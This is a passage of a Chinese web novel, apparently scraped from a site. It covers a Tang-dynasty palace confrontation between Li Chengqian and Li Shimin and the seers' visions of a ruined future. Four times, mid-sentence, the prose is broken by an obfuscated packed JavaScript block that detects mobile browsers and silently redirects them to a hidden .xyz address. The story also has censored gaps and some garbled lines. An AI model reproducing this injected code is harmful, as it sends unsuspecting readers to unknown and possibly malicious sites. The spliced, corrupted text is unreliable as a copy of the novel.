只要他最精锐的玄甲军抵达长安,他就有底气,跟这个无法无天的儿子,彻底算一算总账! 届时,他要让李承乾知道,谁才是这大唐真正的主人! 那本沾满鲜血的族谱,在李承乾手中有了千钧之重。 他翻动书页的“哗啦”声,成了广场上除了风声与血滴声外的唯一声响,每一次翻页,都一柄无形的重锤,狠狠砸在幸存的五姓七望官员心头。 他们的腿肚子在打颤,牙齿在打架,发出“咯咯”的轻响。 恐惧像一只冰冷的手,扼住了他们的咽喉,让他们连呼吸都变得小心翼翼。 不久之前,他们还聚在太极殿中,用一种看**的眼光看着李承乾,看着李泰煦得意洋洋地将这个“孽种”从陇西李氏的族谱中划去。 他们以为,这是对一个皇子最极致的羞辱。被自己的宗族抛弃,他会痛苦,会崩溃,会像一条丧家之犬般摇尾乞怜。 可谁能想到? 谁**能想到! 他非但没有痛苦,反而将这本他们引以为傲、象征着血脉与荣耀的族谱,变成了一本阎王的生死簿! 这哪里是羞辱?这分明是他们亲手递上了一份必杀的名单! 李承乾的手指停在了某一页上。 他抬起眼皮,那双漆黑的眸子没有丝毫温度,淡淡地扫过人群。 “太原王氏……” 他念出这四个字,声音平淡得在说今天天气不错。 可这四个字,却如同九天之上落下的惊雷,轰然炸响! 跪在前排的一名老臣,身穿紫色朝服,正是太原王氏的当代家主王珪。他整个人猛地一哆嗦,被蝎子蛰了一下,脸色“唰”地一下变得惨白如纸。 他身后的几名王氏子弟,更是吓得魂不附体,有人甚至两眼一翻,直接晕厥过去。 “殿下……殿下……” 王珪嘴唇蠕动着,想说些求饶的话,可喉咙里被塞了一团棉花,只能发出嘶哑的、不成调的音节。 他的骄傲,他的风骨,他身为五姓七望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253007|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之首的尊严,在李承乾那冰冷的目光下,被碾得粉碎。 李承乾看着他那副可怜又可笑的模样,嘴角微微上扬,露出一抹森然的笑意。 “王家主,孤记得,当初在朝堂之上,你可是第一个站出来,附议李泰煦那老狗的提议啊。” “你说……孤,不配姓李。” 他顿了顿,将手中的族谱举高了一些,在仔细端详。 “既然孤不配,那这族谱上的人……是不是也该下去陪陪他们的族长?” “不!不!殿下!臣罪该万死!臣胡言乱语!臣猪狗不如!” 王珪终于找回了自己的声音,他再也顾不上什么世家体面,猛地向前膝行几步,对着李承乾疯狂磕头。 那光洁的额头与染血的青石板碰撞,发出“咚咚”的闷响,几下就磕破了皮,鲜血混着冷汗流了满脸。 “求太子殿下开恩!太原王氏……太原王氏愿意从此唯殿下马首是瞻!献出所有家产!只求殿下给王家留下一条活路啊!” “哦?马首是瞻?”李承乾听到了什么有趣的笑话,“就在半个时辰前,你们还视孤为弃子,现在,孤杀了人,你们反倒要来当孤的狗了?” “这世家的风骨,还真是……廉价啊。” 他的声音里充满了毫不掩饰的鄙夷和嘲弄。 这种羞辱,比直接杀了他们还要难受。 但此刻,没有人在乎羞辱。 活着,才是最重要的! 其余范阳卢氏、荥阳郑氏的家主们,也纷纷反应过来,争先恐后地匍匐在地,哭喊着效忠。 “殿下饶命啊!” “我等有眼无珠,冒犯了殿下天威,求殿下恕罪!” “我等愿献出一切,只求殿下息怒!” 一时间,哭嚎声、磕头声、求饶声响彻一片,昔日里高高在上、俯瞰众生的世家大族们,此刻卑微到了尘埃里,丑态百出。 他们终于明白,他们引以为傲的门第、传承百年的荣耀,在这个已经杀红了眼的太子面前,一文不值。 李承乾冷眼看着这幅众生相,脸上的笑意愈发浓郁,也愈发冰冷。 他没有理会这些人的哭喊,而是缓缓合上了那本族谱。 他抬起头,目光再次穿过人群,直直射向李世民。 “父皇,您看到了吗?” “这就是您倚重的五姓七望,一群摇尾乞怜的狗罢了。” 他的声音不大,却清晰地传入了每个人的耳中,也像一记响亮的耳光,狠狠抽在李世民的脸上。 李世民的胸膛剧烈起伏着,牙关咬得咯咯作响。 他双目赤红,死死盯着广场中央那个逆子。 他看到了! 他当然看到了! 他看到了那些平日里在他面前人五人六的世家大族,如何卑躬屈膝,如何丑态百出! 但他更看到的,是自己皇权的旁落!是自己威严的扫地! 这个逆子,在用最残忍、最直接的方式,向他**,向天下**! 他在告诉所有人,这长安城,他说了算! 杀了他! 这个念头如同疯长的野草,在李世民的脑海里疯狂叫嚣。 只要一声令下…… 不。 不能。 李世民的目光扫过那些黄金甲士,他们手持长戟,身披重甲,如同一尊尊沉默的杀戮神像,那股冰冷的肃杀之气,让他心头发寒。 他再看向那些列成剑阵的蜀山剑修,冲天的剑意随时能将整个太极殿撕碎。 他没有把握。 在玄甲军赶到之前,他没有任何把握能制住这个疯子。 他只能等。 等玄甲军一到,他便把李承乾剥皮填草! …… 求一波五星。 感激不尽了。 第83章 长安守军,苏定方 长安城,大殿之外。 李承乾大开杀戒! 李世民勉强他维持着帝王的最后体面,没有当场咆哮出来。 他要等,他必须等。 终于,雷声滚动,从遥远的长安街头传来。 那声音起初微弱,地脉深处的搏动,又初春解冻的闷雷。 广场上的所有人,无论是瑟瑟发抖的文武百官,还是匍匐在地的世家家主,都下意识地屏住了呼吸。 怎么回事? 是错觉吗? 不。 那震动越来越清晰,越来越强烈。 “咚,咚,咚……” 整齐划一,沉重有力。 那是成千上万只铁靴同时踏击在青石板上的声音! 是一支大军正在开进! 李世民猛地抬起头,眼中爆发出惊疑不定的光芒。 玄甲军? 是他的玄甲军到了? 不,不对,方向不对! 玄甲军驻扎在城外,就算全速驰援,也绝不可能从朱雀门的方向过来! 很快,答案揭晓。 视线的尽头,朱雀大街上,黑色的潮水汹涌而来! 一面面绣着“苏”字的大纛迎风招展,猎猎作响。 紧随其后的,是密密麻麻、望不到边际的兵士! 他们身着玄色铁甲,手持长矛,肩扛**,汇聚成钢铁的洪流,以一种无可阻挡的气势,瞬间填满了所有人的视野。 长安守军! 是苏定方和他麾下的十万长安守军! 他们竟然在这个时候,出现在了这里! “是……是苏定方将军!” 一名眼尖的官员失声惊呼,声音里带着劫后余生的颤抖和狂喜。 “天呐!是长安守军!整整十万大军!” “陛下!是陛下的兵马!” 人群骚动起来,绝望的气氛被瞬间撕开一道口子,灌入了名为希望的烈风。 李世民死死盯着那片黑色的海洋,盯着那为首一骑,身披重铠、面容刚毅如铁的将领。 苏定方! 他胸中那股被压制到极致的滔**火,瞬间被狂喜所取代! 那是一种从地狱重返人间,从绝境看到生天的狂喜! 他几乎要放声大笑! 苏定方纵马来到太极殿前,在距离李世民百步之遥的地方猛地勒住缰绳。 战马人立而起,发出一声长嘶。 他翻身下马,甲叶碰撞,发出清脆的铿锵之声。 他没有看任何人,甚至没有看一眼广场中央那个手持族谱,被黄金甲士和蜀山剑修簇拥的太子。 他的眼中,只有那个身着龙袍的男人。 苏定方大步流星,每一步都踏在所有人的心口上。 他径直走到丹陛之下,没有丝毫犹豫,“噗通”一声单膝跪地,声如洪钟。 “臣,左武卫大将军苏定方,率长安守军十万,前来护驾!” “臣等救驾来迟,致使陛下受惊,罪该万死!” “轰!” 随着苏定方跪下,他身后那十万大军,动作整齐划一,瞬间单膝跪地。 十万柄长矛的矛尾重重顿在地上,发出的巨大声响汇成一道惊雷,震得整个太极殿都嗡嗡作响! “护驾!” “护驾!!” 十万人的齐声怒吼,声浪排山倒海! 这一刻,天地间只剩下这股忠于皇权、忠于李世民的滔天之势! 李世民看着跪在自己面前的苏定方,看着他身后那无边无际的钢铁森林,胸膛剧烈起伏。 他紧绷的身体终于松弛下来,巨大的、难以言喻的暖流涌遍全身。 他赢了! 他还是大唐的天子! “好!好!好啊!” 李世民连说三个好字,他缓缓走下丹陛,亲手将苏定方扶了起来。 “爱卿何罪之有?你能在此刻率兵前来,便是天大的功劳!朕,要重赏你!” 他的手紧紧抓住苏定方的臂膀,那力道之大,要将自己所有的希望和后怕都倾注进去。 有了这十万大军,他李世民的腰杆,又重新挺直了! 这才是他作为皇帝,该有的底气! 满朝文武,在这一刻也彻底活了过来。 他们看向李世民的眼神,重新充满了敬畏和崇拜。 “陛下果然是真龙天子,运筹帷幄,早有后手!” 房玄龄抚着胡须,满脸感慨地对身边的杜如晦低语。 “是啊,太子殿下终究是年轻了些,以为凭着一些奇兵就能翻天,殊不知陛下的手段,又岂是他能揣度的?” 杜如晦微微颔首,目光中尽是了然。 那些之前吓得面无人色的官员,此刻也纷纷挺直了腰板,窃窃私语。 “我就说嘛,陛下怎么可能没有准备?” “太子殿下这回,怕是要栽个大跟头了。” “哼,弑杀朝臣,胁迫君父,此等大逆不道之举,焉能不败?” 风向,在短短一瞬间,就彻底变了。 之前还对李承乾畏之如虎的众人,此刻看向他的目光,已经带上了几分怜悯和幸灾乐祸。 而那些刚刚宣誓效忠的五姓七望家主们,更是如遭雷击。 他们僵硬地趴在地上,连抬头的勇气都没有。 肠子都悔青了。 他们刚刚…… 刚刚投靠了一个即将覆灭的太子? 王珪只觉得眼前一阵发黑,天旋地转,几乎要当场昏死过去。 李世民感受着重新回到自己身上的、那一道道敬畏的目光,心中的快意达到了顶点。 他缓缓转过身,重新看向广场中央的李承乾。 此刻,他不再是那个被逼到绝路的父亲,而是手握十万雄兵,主宰生杀大权的帝王。 他的目光居高临下,带着猫戏老鼠般的残忍和快意。 “承乾,我的好儿子。” 李世民的声音慢条斯理,却像淬了冰的钢刀,一字一句地割在人心上。 “你刚才说,这五姓七望,是摇尾乞怜的狗。” 他顿了顿,视线扫过苏定方和他身后的十万大军,嘴角咧开一个冰冷的弧度。 “那你现在再看看,是你的狗多,还是朕的兵强?” 这句诛心之言,原封不动地奉还了回去! 李承乾始终没有说话。 他只是静静地站着,那张俊美无俦的脸上,看不出丝毫的慌乱。 李承乾的目光,缓缓地、缓缓地扫过人群,扫过每一个大臣的脸。 最终,他的视线与李世民,再次对上。 父子二人隔着人群,隔着跪了一地的世家,隔着生与死的界限,遥遥相望。 一个,是重掌乾坤的帝王,眼神中是毫不掩饰的杀意和快慰。 一个,是陷入重围的太子,眼神深处,是冰冷的平静。 棋局,还未结束。 长安城外,长空**无云,却有肃杀之气。 袁天罡一身宽大道袍,在虚空中无风自动。 他的身形缥缈,融入这片天地。 在他的对面,是三千道模糊却又锋锐无匹的身影。 三千蜀山剑仙。 他们结成剑阵,静静地悬浮在那里,每个人都是一柄出鞘的利剑,剑意冲霄,割裂云气。 那股纯粹而古老的浩然正气,是天道本身的有形化身,冰冷、公正,不容任何邪魔歪道存世。 袁天罡的眼眸深邃如古井。 这些蜀山剑仙,与其说是修士,不如说是一道延续了千年的枷锁。 他们世代**锁妖塔。 与他们动手,无论胜负,都将引发无法想象的滔天大祸。 那是足以倾覆整个天下,让生灵涂炭的因果。 他袁天罡,自诩能窥探天机,拨弄命运,可在这等维系天地秩序的古老力量面前,也不过是一只稍大些的蝼蚁。 他缓缓回首,目光穿透了空间的阻隔,落在了那巍峨的长安城墙之上。 城墙上,那一行用血写就的诗句,即便隔着如此遥远的距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253008|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,依旧清晰地映入他的眼帘,每一个字都燃烧着黑色的火焰,散发着无穷的怨毒与杀伐之气。 “我花开后百花杀!” 好一个百花杀! 袁天罡的嘴角,扯动了一下,分不清是讥讽还是叹息。 太子殿下,你的野心,昭告了天地,可天地,又是否会给你这个机会? 莫名的心悸毫无征兆地袭来,有一只冰冷的手,攥住了他的心脏。 袁天罡猛地抬头,望向苍穹。 就是这一眼,让他这位活了不知多少岁月、自认早已心如止水的老道,浑身的血液几乎在瞬间凝固。 天,变了。 原本明媚的日头,边缘处正被一团不可名状的黑暗迅速侵蚀,那不是乌云蔽日,而是真正的吞噬。 有一头无形的上古凶兽,正在将太阳一点点拖入它的血盆大口。 天狗遮日! 然而,比这更诡异,更让人头皮发麻的,是在那被吞噬的太阳旁边,一轮清冷惨白的月亮,竟也悄然浮现。 日月同辉! 一热一冷,一明一暗,两种截然不同的光芒,交织在一起,洒向人间。 整个世界都笼罩在一片非金非银、非明非暗的诡异光晕里,山川河流,草木生灵,都被镀上了一层死亡的颜色。 大凶! 这是旷世未有的大凶之兆! 袁天罡只觉得寒气从脚底直冲天灵盖,他那双能洞察万物的眼眸中,第一次流露出了骇然。 他掐指急算,指节在袖中翻飞如电,快到只剩下一片残影。 然而,天机一片混沌,所有卦象都指向一个“死”字。 不是一人之死,亦非一城之死。 是国之将亡,血流漂杵! “怎么会……怎么会到如此地步……” 他喃喃自语,声音干涩。 就在他心神剧震之际,他的眼前,那片诡异的光晕扭曲变幻,竟渐渐浮现出皇城太极殿外的景象。 那画面如此清晰,他就站在那白玉广场之上。 他看见了。 看见了那个一手缔造了贞观盛世的男人,李世民。 此刻,这位帝王脸上的快意与残忍,比那天空中的天狗还要狰狞。 他的目光像刀子,一片片剐在对面那道孤零零的身影上。 他也看见了,那个他曾寄予厚望的太子,李承乾。 太子就站在那里,身形挺拔如松,即便身陷十万大军的重围,他的脸上依旧是那副冰冷的平静。 只是,那双握着族谱的手,青筋暴起,几乎要将那薄薄的纸册捏成齑粉。 父与子。 君与臣。 生与死。 剑拔**张,只在呼吸之间。 袁天罡明白了。 他什么都明白了。 天狗遮日,遮的便是帝王之光。 日月同辉,同的便是父子相残! 这场宫变,早已不是一场简单的皇权更迭。 它牵动了天象,引来了大凶,将整个大唐都拖向了万劫不复的深渊。 他之前还想插手,还想在这场棋局中为太子落下一子,现在看来,是何等可笑。 这哪里是棋局? 这分明是一个已经熊熊燃烧起来的柴堆,而他自己,也早已身在其中,无路可逃。 长安城墙上那句“我花开后百花杀”,不再是诗,而是一句谶语。 一句…… 应验在所有人之上的,死亡谶语。 袁天罡缓缓闭上了眼睛,再睁开时,眼中的骇然已经褪去,只剩下一种如死水般的寂静和悲凉。 这个时候。 李世民怒喝:“苏定方!” “臣在!” “绞杀叛军!擒拿匪首李承乾!” 喏! 苏定方领命,兵伐骤起! 李承乾笑着看向李世民道:“父皇,你认为你赢定了?” “你说呢!逆贼!” “父皇可知道,香积寺之战,谁输了,谁才是叛军!” 第84章 李世民种下的苦果 长安城,玄武门。 那句“香积寺之战”让李世民狐疑。 那不是一个他熟悉的地名,更不是一场他记忆中的战役。 然而,这五个字从他亲生儿子的嘴里吐出来,在此时此地,在这天狗遮日、日月同辉的诡谲天象之下,却透着让他毛骨悚然的寒意。 一种不祥的预感,像冰冷的潮水,瞬间淹没了他的四肢百骸。 他感觉自己站在万丈悬崖的边缘,而对面那逆子轻轻一推,就要将他和他引以为傲的贞观盛世,一同推入无底深渊。 “逆子!” 李世民的声音嘶哑,强行压下心头的悸动,厉声追问,“你说的什么?什么香积寺之战?!” 他的咆哮在白玉广场上回荡,却被那诡异的、半明半暗的光线吞噬,显得有些外强中干。 十万大军的肃杀之气,都在这一刻凝固了。 李承乾笑了。 那笑容很淡,很冷,像极了天边那轮惨白的月亮。 他甚至没有去看周围那些已经将长矛对准他的甲士,他的目光,始终如一地,平静地落在李世民的脸上。 “父皇,您急什么?” 他的语气平缓得像在陈述一件再寻常不过的事。 “历史,向来都是由胜利者书写的。香积寺之战,谁输了,谁便是叛军。这不是很简单的道理么?” 他顿了顿,看着李世民那张因惊疑不定而微微抽搐的脸,继续道:“不过,在这句话前面,其实还有一句。” 李世民的心跳猛地漏了一拍。 他死死地盯着李承乾,那眼神要将他生吞活剥。 他有一种直觉,接下来从这个逆子口中说出的话,将会是他一生都无法承受的梦魇。 可他不能不问。 他是皇帝,是天可汗,他不能在一个将死的逆贼面前,流露出半分的怯懦。 “什么话?” 他几乎是从牙缝里挤出这三个字,每一个字都带着冰冷的杀机。 李承乾嘴角的弧度,终于扩大了。 那是一种混杂着嘲弄、悲凉与快意的复杂神情。 他缓缓开口,声音不大,却像一道惊雷,精准无误地劈在了李世民的头顶。 “玄武门对掏,谁胜谁是太子!” “轰!” 整个世界,在李世民的脑海中,炸了。 时间在这一刻倒流,空间在扭曲。 眼前的一切都消失了,那十万大军,那文武百官,那巍峨的太极殿,全都化作了虚无。 取而代之的,是那座他此生都无法忘怀的,阴冷、血腥的城门。 是大哥建成、四弟元吉临死前那怨毒而不甘的眼神。 是父皇李渊那张布满泪水与绝望的老脸。 是他自己,持着沾满兄弟鲜血的剑,一步步踏上权力之巅时,那份被刻意遗忘的恐惧与罪孽。 “对掏……” 李承乾用的这个词,是何等的粗鄙,何等的…… 一针见血。 它撕碎了所有的伪装,剥掉了“为国除害”、“清君侧”等等冠冕堂皇的外衣,将那场改变了大唐国运的宫廷政变,赤裸裸地还原成了一场最原始、最野蛮的街头斗殴。 赢家,通吃。 输家,身死名裂,连带着子嗣都被斩草除根。 这,才是玄武门的真相! 是他李世民,用一生去掩盖,去粉饰,去说服自己也说服天下的真相! 而现在,这个他最不愿面对的真相,被他最疼爱过的儿子,用最残忍的方式,当着文武百官、十万大军的面,血淋淋地刨了出来! “呃……” 腥甜的铁锈味从喉咙深处涌了上来,李世民的眼前阵阵发黑,身体控制不住地晃了晃。 他脸上的血色以肉眼可见的速度褪去,变得惨白如纸,随即又被病态的潮红所取代。 他那双曾经睥睨天下的龙目,此刻布满了血丝,死死地瞪着李承乾,眼珠子几乎要从眼眶里迸裂出来。 “你……你……” 李世民怒吼“朕那是为了大唐江山,为了天下苍生!” 李承乾反唇相讥:“那今日朕也是为了大唐百姓,为了天天下苍生!” 李世民怒火中烧。 可他张了张嘴,却发现任何辩解,在“玄武门对掏,谁胜谁是太子” 这句简单粗暴的话面前,都显得那么苍白无力。 因为,那就是事实。 一个他无法否认,也无法辩驳的事实! 此时,袁天罡与蜀山三千剑仙对峙与长安城外。 长安城外,风声鹤唳。 三千名身着白衣的蜀山剑仙,静立于长安城外虚空之上。每个人都如同一柄归鞘的绝世好剑。 然而,这三千道沉凝如山的气息汇聚在一起,便形成了无形的、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253009|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足以压垮山岳的恐怖威压。 长安城头的守军,早已面无人色,握着兵器的手抖得如同风中落叶。 在这三千剑仙的对面,只站着一个人。 袁天罡。 他身着一袭绣着星月流云的宽大道袍,须发皆白,面容古拙,一块历经万古风霜的顽石。 他独自一人,便挡住了那三千剑仙的气势,如同一道无形的堤坝,任凭潮水如何汹涌,都无法越过雷池半步。 他闭着眼,手指在袖中飞快掐算,周身的气机与天地相连,试图从这片被皇道龙气与滔天兵戈搅得混乱不堪的天机中,窥探出未来的走向。 可眼前,只有一片浓得化不开的迷雾。 就在此时,一道声音,穿透了厚重的城墙,越过了空间的阻隔,清晰无比地响彻在他的心湖之中。 “玄武门对掏,谁胜谁是太子!” “轰!” 袁天罡猛地睁开了双眼。 那双原本古井无波的眸子里,此刻竟是星河流转,日月颠倒! 眼前的迷雾,在这句粗鄙却又直指核心的话语冲击下,轰然破碎! 无穷无尽的画面,如决堤的洪水,疯狂涌入他的脑海。 他看到了! 他看到了未来的大唐! 那不再是贞观之治的煌煌盛世,而是一片被鲜血浸透的修罗场。 李世民的身影高坐于龙椅之上,他的身后,玄武门那猩红的城门若隐若现,像一道永远无法愈合的伤疤,烙印在大唐的国运之上。 他亲手为自己的子孙,打开了一扇名为“政变”的魔盒。 画面飞速流转。 一个又一个的皇子,眼中闪烁着与乃父如出一辙的野心与狠厉。 他们不再相信嫡长子继承的所谓天理,他们只相信自己手中的刀剑! 宫闱之内,再无亲情。 朝堂之上,阴谋丛生。 皇位的每一次更迭,都伴随着一场惨烈的厮杀。 兄弟相残,父子反目。 长安城头变幻大王旗,昔日的储君沦为阶下囚,昨日的藩王今日黄袍加身。 袁天罡看到,李世民留下的这个先例,如同一道恶毒的诅咒,纠缠着大唐的每一代君王。 顺位继承,成了一个笑话。 逼宫,才是通往权力之巅的唯一捷径! “这便是……你种下的苦果吗,李世民?” 第85章 中原大地,烽烟四起,狼烟滚滚! 袁天罡喃喃自语,脸色变得异常苍白。 他的视线穿透了层层叠叠的政变血影,看到了更遥远的未来。 他看到了大唐的国力在一次又一次的内耗中,被消磨殆尽。 他看到了边疆的防线在无休止的内斗中,变得千疮百孔。 他看到了曾经臣服于天可汗脚下的胡人部落,眼中重新燃起了贪婪的火焰。 最终,他看到了那最可怕的一幕。 中原大地,烽烟四起,狼烟滚滚。 无数异族的铁蹄,踏碎了山河,践踏着大唐子民的骸骨。 城池化为焦土,繁华沦为废墟。 汉家儿郎的血,染红了江河。 五胡乱华! 那个人间地狱般的惨剧,竟然要在数百年后,在这片土地上,再次上演! 彻骨的寒意,从李淳淳的脚底直冲天灵盖。 他猛然回首,目光穿透了巍峨的长安城墙,落在了太极殿前那个身穿龙袍、此刻正被儿子逼得心神失守的男人身上。 李世民! 若今日,李世民胜,太子承乾败…… 那么,玄武门之变的“正当性”将被再一次用鲜血来印证。 皇帝的宝座,将彻底成为一个谁的拳头硬、谁的心够狠,谁就能坐上去的血腥角斗场。 这道由他亲手打开的口子,将再也无法弥合。 百年之后,遍地烽火,生灵涂炭…… 这一切的源头,竟然就是眼前这位开创了贞观盛世的千古一帝! 何其讽刺! 何其悲凉! 与此同时。 钦天监,观星台之巅。 身穿八卦道袍的李淳风,正眉头紧锁,死死盯着眼前那副巨大的青铜星盘。 星盘之上,代表帝星的紫微星,光芒黯淡,摇摇欲坠。 而另一颗代表东宫储君的星辰,却爆发出前所未有的璀璨光芒,其势之盛,竟隐隐有与帝星分庭抗礼,甚至取而代之的趋势! 更让他心惊的是,两颗星辰的周围,无数代表着文臣武将、世家门阀的星辰,正陷入一片混乱的轨迹之中,彼此冲撞,互相倾轧,构成了一幅末日般的星象图。 “天机混沌,变数已生……这……这究竟是为何?” 李淳风活了百年,从未见过如此凶险、如此诡异的星象。 就在他百思不得其解之际,无形的气机波动,从皇城的方向传来。 那是一句充满了无尽嘲弄与悲凉的话语,带着某种撕裂规则、颠覆秩序的蛮横力量,直接撼动了天道! 李淳风的身体猛地一震,他手中的一枚白玉龟甲,“啪”的一声,碎裂开来。 他的双眼中,倒映出漫天狂乱的星辰。 在这一瞬间,他也看到了袁天罡所看到的一切。 看到了那一场接一场的血腥政变,看到了那流不尽的鲜血与泪水,看到了那神州陆沉、衣冠南渡的悲惨未来。 “噗——”一口鲜血,猛地从李淳风口中喷出,洒在了青铜星盘之上。 他颓然跌坐在地,面如金纸,失魂落魄地望着那片混乱的星空。 “原来……如此……” “破而后立……不破……不立……” 他的声音嘶哑干涩,充满了无尽的疲惫与悲哀。 长安城外。 袁天罡缓缓收回了望向皇城的目光,重新落在了眼前那三千蜀山剑仙的身上。 他的眼神,已经彻底变了。 不再是之前那种拒人于千里之外的冷漠,而是多了复杂难明的震撼与了然。 他终于明白了。 他终于明白为何自己之前始终看不透天机。 因为他一直在用旧的“天理”去推算。 他以为太子承乾是逆天而行,是乱臣贼子。 可他错了。 大错特错! 若不是李承乾用那句“玄武门对掏”喊破了李世民最大的心魔,撕开了大唐最光鲜外衣下的那块烂肉,他袁天罡,穷尽毕生道行,也无法勘破这被皇道龙气与滔天罪业所掩盖的真正天机! 李世民的“顺”,是饮鸩止渴,是将整个大唐拖入万劫不复的深渊。 而李承乾的“逆”,才是唯一的生机! 是以一场阵痛,斩断这罪恶的循环! 是以一场弑父的恶名,来换取大唐未来数百年的安稳与国祚的延续! 这才是真正的天命! 袁天罡身着星月道袍,长身玉立,狂风吹得他衣袂猎猎作响。 他看着那座被血色与杀机笼罩的雄城,心中暗自发出一声长长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16253010|182037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的叹息。 “原来,李承乾……你才是那个顺应天命之人!” 李淳风踉跄地站起身,星月道袍上沾染了观星台冰冷的尘埃。 他扶着那巨大的青铜星盘,指尖传来的触感,还能感受到袁天罡那口心血的余温。 天机…… 天机已泄。 不,不是泄露,是被那个看似疯癫的太子,用一句没头没尾的胡话,硬生生撕开了一道口子! 香积寺之战? 这四个字,像一道惊雷,在他脑海中反复炸响。 在他窥见的未来残影中,那场发生在百年之后,导致大唐由盛转衰的惨烈战役,本是天道之下不可言说的秘辛。 可李承乾,一个身处贞观的太子,他怎么会知道? 他不仅知道,他还敢说! 他敢当着李世民的面,当着全天下人的面,将这未来的疮疤,血淋淋地揭开! 这一刻,李淳风才恍然大悟。 他之前所推演的一切,都错了。 他以为帝星黯淡,是因太子犯上作乱,动摇国本。 可如今看来,那黯淡,分明是帝星自身罪业缠身,被天道所厌弃! 而太子那颗璀璨的新星,不是灾厄,而是破局的唯一希望! 李世民,你以玄武门的血,开启了贞观盛世,也亲手埋下了大唐未来数百年宫廷政变、父子相残的祸根! 这滔天的罪业,早已扭曲了天道,蒙蔽了所有窥探天机之人的双眼。 而李承乾,他用一场看似大逆不道的逼宫,是要以一场阵痛,斩断这罪恶的循环! 他要用自己的恶名,换来大唐国祚的延续! 顺天者,昌。 逆天者,亡。 可今天,谁是顺,谁又是逆? 李淳风的眼中,那狂乱的星象渐渐平息,化作一条清晰无比的脉络。 他看见了,如果今天李承乾死在玄武门下,那之后两百多年的历史长河中,安史之乱的烽火将燃遍神州,甘露之变的鲜血将染红宫阙,黄巢的兵锋将踏碎长安的繁华…… 一幕幕血腥的画面,比星盘上的轨迹更加刺痛他的神魂。 “噗——”又是一口压抑不住的逆血涌上喉头,李淳风却强行咽了下去,腥甜的味道在口中弥散。 第86章 李世民留下的祸根,皇子内斗,五胡乱华! 他不能倒下,他必须去! 他猛地转身,袍袖一甩,带起一阵劲风。 “师兄!” 几名守在观星台下的道童惊呼出声,他们从未见过一向飘逸出尘的李淳风,竟会露出如此仓皇焦急的神色。 他的双眼布满血丝,脸色苍白如纸,被抽干了所有的精气神,但那双脚,却迈得异常坚定。 他没有理会任何人,径直冲下观星台,穿过钦天监寂静的庭院。 那身标志性的星月道袍,此刻不再是仙风道骨的象征,而一面在狂风中猎猎作响的战旗。 长安的街道,死的沉寂。 家家户户大门紧闭,连平日里最爱吠叫的犬只,也夹着尾巴躲在窝里,不敢发出声响。 空气中弥漫着一种无形的压抑,一张密不透风的巨网,笼罩在整座城市的上空。 李淳风快步走在空无一人的朱雀大街上。 他的靴子踩在青石板上,发出“哒、哒、哒” 的清脆声响,在这死寂中显得格外突兀。 巡城的金吾卫士兵,手持长戟,结成战阵,紧张地注视着皇城的方向。 当他们看到那个身穿星月道袍的身影时,无不露出惊愕之色。 “是……是李监正?” 一名年轻的士兵结结巴巴地说道。 “他要去哪?这个时候,他不在钦天监观星,出来做什么?” 为首的校尉眉头紧锁,抬手示意队伍停下。 他认识李淳风,这位仙长在长安城中地位尊崇,连陛下都对他礼遇有加。 可此刻,他行色匆匆,神情凝重,完全不似平日的从容。 校尉有心上前盘问,但看到李淳风那双能洞穿人心的眼睛时,莫名的寒意从心底升起,竟让他张不开嘴。 他只能眼睁睁地看着那个身影,如同一颗逆行的流星,义无反顾地冲向那座杀机四伏的玄武门。 玄武门。 血腥味和铁锈味混合在一起,刺激着每一个人的鼻腔。 城楼之上,李世民的脸色阴沉得能滴出水来。 他死死盯着城下那个孤身而立的儿子,脑子里却翻来覆去地回响着那句莫名其妙的话。 “香积寺之战,谁输谁是叛军……” 香积寺? 长安城外确实有座香积寺,可那和今日之事有何关系? 战? 和谁战? 输了的才是叛军? 这是什么狗屁不通的疯话! 这混账东西,究竟在耍什么花样! 李世民的疑心病已经发作到了极致。 他最恨的,就是这种脱离掌控的感觉。 他感觉自己被一张无形的大网笼罩,而李承乾,就是那个坐在网中央,冷笑着看他挣扎的蜘蛛。 房玄龄、长孙无忌、魏征等人,也是一个个面面相觑,百思不得其解。 